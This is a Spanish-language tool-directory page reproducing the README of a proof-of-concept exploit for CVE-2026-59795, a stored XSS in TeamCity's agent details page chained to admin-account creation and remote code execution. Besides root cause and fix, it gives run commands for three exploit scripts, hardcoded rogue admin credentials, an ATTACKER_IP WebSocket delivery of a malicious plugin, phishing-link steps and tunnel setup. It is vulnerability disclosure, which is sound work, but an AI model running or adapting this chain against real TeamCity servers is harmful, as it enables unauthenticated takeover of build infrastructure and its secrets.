Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-59795 — Prueba de concepto para CVE-2026-59795: XSS almacenado no autenticado en los detalles del agente de TeamCity, encadenado a la creación de una cuenta SYSTEM_ADMIN y a RCE mediante carga de plugins. | Kitploit
Herramientas/GitHubGitHub/joakimbulow/cve-2026-59795
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebDesarrollo de Payloads
GitHubjoakimbulow/cve-2026-59795

CVE-2026-59795

Prueba de concepto para CVE-2026-59795: XSS almacenado no autenticado en los detalles del agente de TeamCity, encadenado a la creación de una cuenta SYSTEM_ADMIN y a RCE mediante carga de plugins.

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-59795 - XSS almacenado no autenticado en TeamCity que escala a RCE

XSS almacenado no autenticado en la página heredada de detalles del agente de TeamCity, que escala a RCE en el servidor sin reinicio. Un atacante registra un agente de compilación (sin necesidad de credenciales) con un os.name malicioso y luego consigue que un administrador vea la página de detalles de ese agente. El payload se ejecuta en la sesión autenticada del administrador y puede crear una cuenta SYSTEM_ADMIN o subir y cargar un plugin malicioso.

Resumen

CVECVE-2026-59795
AfectadoTeamCity <= 2026.1.1 (build 222577)
Corregido en2026.1.2 (222647), 2025.11.6 (208214)
CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
TipoXSS almacenado (CWE-79), encadenable a la toma de control de SYSTEM_ADMIN y RCE
Autenticación requeridaNinguna para implantar el payload

Desencadenante: un administrador visualiza el agente malicioso, ya sea mediante un enlace manipulado de un solo clic &fromSakuraUI=true en la interfaz Sakura predeterminada, o sin ningún tipo de phishing abriendo el agente pendiente en el flujo de trabajo de autorización normal cuando el administrador usa la interfaz clásica (la opción "Use Sakura UI" desmarcada por usuario, o el modo clásico en todo el servidor).

Causa raíz

webapps/ROOT/agent/agentSummary.jsp renderiza el nombre del sistema operativo reportado por el agente sin escapar:

<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>

Escrito completo con capturas de pantalla y contexto: https://joakimbulow.com/posts/cve-2026-59795/ El nombre del agente hermano unas líneas más arriba usa <c:out>, lo que confirma que la omisión es accidental. operatingSystemName está totalmente controlado por el atacante: un agente no autenticado lo establece en el registro (atributo osName en POST /app/agents/v1/register), y el servidor lo almacena y lo devuelve tal cual.

La interfaz React de Sakura escapa osName correctamente y normalmente redirige fuera de la página heredada, pero la redirección se omite (y el JSP sin escapar se renderiza) cuando:

  • el administrador abre el agente con ?fromSakuraUI=true en la URL (la propia marca de omisión de la etiqueta de redirección), o
  • el administrador está en la interfaz clásica (teamcity.ui.experimental=disableDefault, o la exclusión voluntaria "Use Sakura UI" por usuario), o
  • el administrador hizo clic en "View in classic UI" para ese agente, o
  • la página se carga en un iframe.

Impacto

Confirmado en vivo:

  • Ejecutar alert(document.domain) en la sesión del administrador, sin efectos secundarios.
  • Crear una nueva cuenta SYSTEM_ADMIN en la sesión del administrador (sin RCE).
  • Cadena completa: el XSS sube un plugin a /admin/pluginUpload.html y lo habilita mediante /admin/plugins.html (EnableAllPlugins), lo que carga Java del atacante en la JVM de TeamCity en ejecución sin reinicio. Verificado mediante un archivo de prueba escrito en el host del servidor, 4 segundos después del clic del administrador.

Corrección

Escapar la salida en agentSummary.jsp:

<strong><c:out value="${agent.operatingSystemName}"/></strong>

(El campo agent.version de la línea anterior tiene el mismo problema y necesita la misma corrección.)

Requisitos

  • Un servidor TeamCity <= 2026.1.1, con configuración predeterminada
  • Una distribución de agente de TeamCity, descargable sin autenticación desde el objetivo: GET /update/buildAgent.zip
  • Python 3 (solo biblioteca estándar)
  • javac en la máquina del atacante, solo necesario para el PoC de RCE
  • Ruta de red desde el navegador del administrador hasta la máquina del atacante, solo necesaria para el PoC de RCE (entrega por WebSocket)
curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent

No necesitas editar manualmente conf/buildAgent.properties; cada PoC a continuación establece serverUrl a partir de su argumento --url/--tc-url y reescribe el nombre del agente en cada ejecución, por lo que es seguro reutilizar el mismo directorio evilagent/ descomprimido repetidamente.

PoCs (./poc/)

Ejecútalos en orden, cada uno confirma más impacto que el anterior.

1. alert_only.py, confirma el XSS, cero efectos secundarios. Coloca un agente cuyo osName lanza alert(document.domain). No se crea ninguna cuenta, no se ejecuta ningún código.

python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent

2. attacker_deeplink.py, toma de control de XSS a SYSTEM_ADMIN, sin RCE. Misma planta, pero el payload crea una cuenta SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) y sondea hasta que esa cuenta pueda iniciar sesión.

python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent

3. rce_ws_server.py, cadena completa, de XSS a carga de plugin a RCE, en una sola terminal. Compila un plugin, inicia el agente malicioso y un servidor WebSocket, e imprime el enlace de phishing. Cuando el administrador lo visualiza: se dispara el XSS, el servidor WS entrega el plugin, este se carga y se habilita, y TeamCity lo carga en tiempo de ejecución.

python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
    --tc-url https://teamcity.example.com --agent-dir ./evilagent

Cada PoC imprime un enlace como:

https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true

Envíalo al administrador (Sakura UI, un clic), o, si el administrador ya está en la UI clásica, simplemente indícale agentDetails.html?id=N sin ningún parámetro especial, por ejemplo, mediante el flujo normal de revisión de agentes pendientes.

Verificación de RCE

A los pocos segundos del clic del administrador, en el host del servidor de TeamCity:

cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user:   <tc-process-user>
host:   <hostname>
java:   <java-version>
cwd:    <teamcity-bin-dir>
time:   <timestamp>

Configuración de RCE dividida (servidor WebSocket en el propio host de TeamCity)

Si el navegador del administrador no puede llegar directamente a tu máquina atacante, por ejemplo, si solo eres accesible a través de un túnel SSH hacia el objetivo, usa rce_prepare.py para compilar el plugin y el agente en tu máquina, luego transfiere poc/ws_serve.py y el ZIP del plugin compilado al host de TeamCity y sírvelos desde allí:

# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
    --ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip

# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337

Reenvía el puerto WebSocket a través del mismo túnel usado para llegar a TeamCity (-L 1337:localhost:1337) para que el navegador del administrador pueda alcanzarlo como ws://localhost:1337.

Nota de limpieza: cada ejecución registra un agente con un nombre nuevo, por lo que las ejecuciones repetidas no colisionarán, pero cada una deja atrás un nuevo agente no autorizado. Elimínalos en Agents -> Unauthorized después de las pruebas.

Archivos

Descargar herramienta